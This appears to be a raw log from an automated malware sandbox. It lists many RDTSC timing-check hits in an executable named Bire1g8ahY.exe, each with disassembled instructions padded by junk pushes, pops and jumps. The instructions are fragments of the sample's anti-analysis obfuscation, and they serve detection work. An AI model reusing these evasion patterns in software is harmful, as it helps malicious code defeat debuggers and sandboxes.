Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C5EE86 second address: C5EE8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C6FCC2 second address: C6FCC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C86436 second address: C8643B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C8643B second address: C86465 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 jmp 00007F62F943B886h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 ja 00007F62F943B876h 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C85BB0 second address: C85BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C85D38 second address: C85D40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C86006 second address: C8602B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F62F8C4B196h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F62F8C4B19Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F62F8C4B196h 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C8602B second address: C86043 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B884h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C86043 second address: C8604B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C88D39 second address: C88D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F62F943B878h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C88D49 second address: C88D53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F62F8C4B196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C88E59 second address: C88E8E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F62F943B881h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F62F943B886h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C88E8E second address: C88E94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C8A5F3 second address: C8A5FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F62F943B876h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C8A5FF second address: C8A603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C8DE7B second address: C8DE81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B9F64D second address: B9F65A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5030380 second address: 50303A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50303A3 second address: 50303E7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F62F8C4B1A9h 0x00000008 sbb ax, D936h 0x0000000d jmp 00007F62F8C4B1A1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 mov dl, F0h 0x00000018 pop eax 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov si, 0617h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50303E7 second address: 50303EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50303EC second address: 503041C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F62F8C4B1A5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 503041C second address: 503046F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F62F943B883h 0x00000015 adc eax, 476BD1DEh 0x0000001b jmp 00007F62F943B889h 0x00000020 popfd 0x00000021 movzx esi, di 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 503046F second address: 5030475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5030492 second address: 5030496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5030496 second address: 503049A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 503049A second address: 50304A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50304A0 second address: 50304B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 41E5CF4Ch 0x00000008 mov dl, 94h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 mov edx, 7078BC5Ah 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50304B9 second address: 50304D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F943B887h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50304D4 second address: 50304D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 505068C second address: 50506CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62F943B881h 0x00000009 and cx, 08C6h 0x0000000e jmp 00007F62F943B881h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov si, 006Fh 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 mov bx, 8FFEh 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50506CF second address: 50506D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50506D5 second address: 50506D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50506D9 second address: 50506F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F62F8C4B19Ah 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50506F4 second address: 50506F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50506F8 second address: 50506FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50506FE second address: 505074F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62F943B882h 0x00000008 push esi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F62F943B889h 0x00000017 sbb esi, 35958E46h 0x0000001d jmp 00007F62F943B881h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 505074F second address: 505081F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F62F8C4B19Ah 0x00000008 pop ecx 0x00000009 jmp 00007F62F8C4B19Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007F62F8C4B1A9h 0x00000017 xchg eax, ecx 0x00000018 jmp 00007F62F8C4B19Eh 0x0000001d xchg eax, esi 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F62F8C4B19Eh 0x00000025 jmp 00007F62F8C4B1A5h 0x0000002a popfd 0x0000002b mov di, ax 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007F62F8C4B19Dh 0x00000035 xchg eax, esi 0x00000036 jmp 00007F62F8C4B19Eh 0x0000003b lea eax, dword ptr [ebp-04h] 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007F62F8C4B19Eh 0x00000045 jmp 00007F62F8C4B1A5h 0x0000004a popfd 0x0000004b popad 0x0000004c push ebx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F62F8C4B1A4h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 505081F second address: 5050823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050823 second address: 5050829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050829 second address: 505084C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B87Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F62F943B87Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 505084C second address: 5050850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050850 second address: 5050856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050856 second address: 505089F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, 50h 0x00000005 pushfd 0x00000006 jmp 00007F62F8C4B1A9h 0x0000000b or ch, FFFFFFF6h 0x0000000e jmp 00007F62F8C4B1A1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F62F8C4B19Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050912 second address: 5050918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050918 second address: 505091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 505091C second address: 5050920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5050920 second address: 50401E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F62F8C4B1A6h 0x00000011 add esi, 4835E1C8h 0x00000017 jmp 00007F62F8C4B19Bh 0x0000001c popfd 0x0000001d popad 0x0000001e pop esi 0x0000001f jmp 00007F62F8C4B1A6h 0x00000024 leave 0x00000025 jmp 00007F62F8C4B1A0h 0x0000002a retn 0004h 0x0000002d nop 0x0000002e cmp eax, 00000000h 0x00000031 setne al 0x00000034 jmp 00007F62F8C4B192h 0x00000036 xor ebx, ebx 0x00000038 test al, 01h 0x0000003a jne 00007F62F8C4B197h 0x0000003c sub esp, 04h 0x0000003f mov dword ptr [esp], 0000000Dh 0x00000046 call 00007F62FD2C8930h 0x0000004b mov edi, edi 0x0000004d pushad 0x0000004e jmp 00007F62F8C4B19Eh 0x00000053 pushfd 0x00000054 jmp 00007F62F8C4B1A2h 0x00000059 add ax, E248h 0x0000005e jmp 00007F62F8C4B19Bh 0x00000063 popfd 0x00000064 popad 0x00000065 xchg eax, ebp 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50401E2 second address: 50401E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50401E8 second address: 5040205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040205 second address: 5040214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040214 second address: 504021A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 504021A second address: 5040235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F943B887h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040235 second address: 5040264 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F62F8C4B1A5h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F62F8C4B19Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040264 second address: 504028B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62F943B87Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 504028B second address: 5040291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040291 second address: 5040295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040295 second address: 50402A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50402A4 second address: 50402A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50402A8 second address: 50402AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50402AC second address: 50402B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50402B2 second address: 50402B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50402B7 second address: 504030F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, 742Bh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e pushad 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F62F943B87Ah 0x00000016 sbb cl, FFFFFFB8h 0x00000019 jmp 00007F62F943B87Bh 0x0000001e popfd 0x0000001f call 00007F62F943B888h 0x00000024 pop eax 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 call 00007F62F943B881h 0x0000002d pop eax 0x0000002e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 504030F second address: 5040324 instructions: 0x00000000 rdtsc 0x00000002 mov di, 5DF4h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, bx 0x00000010 mov bx, 2C24h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040324 second address: 5040364 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62F943B888h 0x00000009 and al, FFFFFFD8h 0x0000000c jmp 00007F62F943B87Bh 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], edi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F62F943B87Bh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040364 second address: 504036A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040385 second address: 50403F8 instructions: 0x00000000 rdtsc 0x00000002 mov eax, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebx, 00000000h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F62F943B882h 0x00000013 add si, 5EC8h 0x00000018 jmp 00007F62F943B87Bh 0x0000001d popfd 0x0000001e mov bx, ax 0x00000021 popad 0x00000022 sub edi, edi 0x00000024 pushad 0x00000025 push edi 0x00000026 mov eax, 6A3EFCD3h 0x0000002b pop eax 0x0000002c pushfd 0x0000002d jmp 00007F62F943B889h 0x00000032 adc ch, FFFFFF96h 0x00000035 jmp 00007F62F943B881h 0x0000003a popfd 0x0000003b popad 0x0000003c inc ebx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50403F8 second address: 504043A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F62F8C4B1A5h 0x0000000c sub eax, 6F8882A6h 0x00000012 jmp 00007F62F8C4B1A1h 0x00000017 popfd 0x00000018 popad 0x00000019 test al, al 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ch, bl 0x00000020 mov esi, 311282EBh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 504043A second address: 504046C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F62F943BA25h 0x0000000f jmp 00007F62F943B87Eh 0x00000014 lea ecx, dword ptr [ebp-14h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 504046C second address: 5040470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040470 second address: 504048D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 504048D second address: 50404AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov al, 68h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 504052E second address: 5040580 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, D0h 0x00000005 push ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test eax, eax 0x0000000c pushad 0x0000000d jmp 00007F62F943B880h 0x00000012 mov di, si 0x00000015 popad 0x00000016 jg 00007F6369E597B3h 0x0000001c jmp 00007F62F943B87Ch 0x00000021 js 00007F62F943B913h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F62F943B887h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040580 second address: 50405EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007F62F8C4B19Eh 0x00000011 jne 00007F6369669083h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov ebx, 1049D820h 0x0000001f pushfd 0x00000020 jmp 00007F62F8C4B1A9h 0x00000025 sbb ecx, 127A5326h 0x0000002b jmp 00007F62F8C4B1A1h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 50405EF second address: 5040623 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F62F943B883h 0x00000014 pop esi 0x00000015 mov bx, 733Ch 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040623 second address: 5040638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: 5040638 second address: 5040685 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-2Ch] 0x0000000e jmp 00007F62F943B87Eh 0x00000013 xchg eax, esi 0x00000014 jmp 00007F62F943B880h 0x00000019 push eax 0x0000001a jmp 00007F62F943B87Bh 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 movsx edx, si 0x00000026 popad 0x00000027 rdtsc
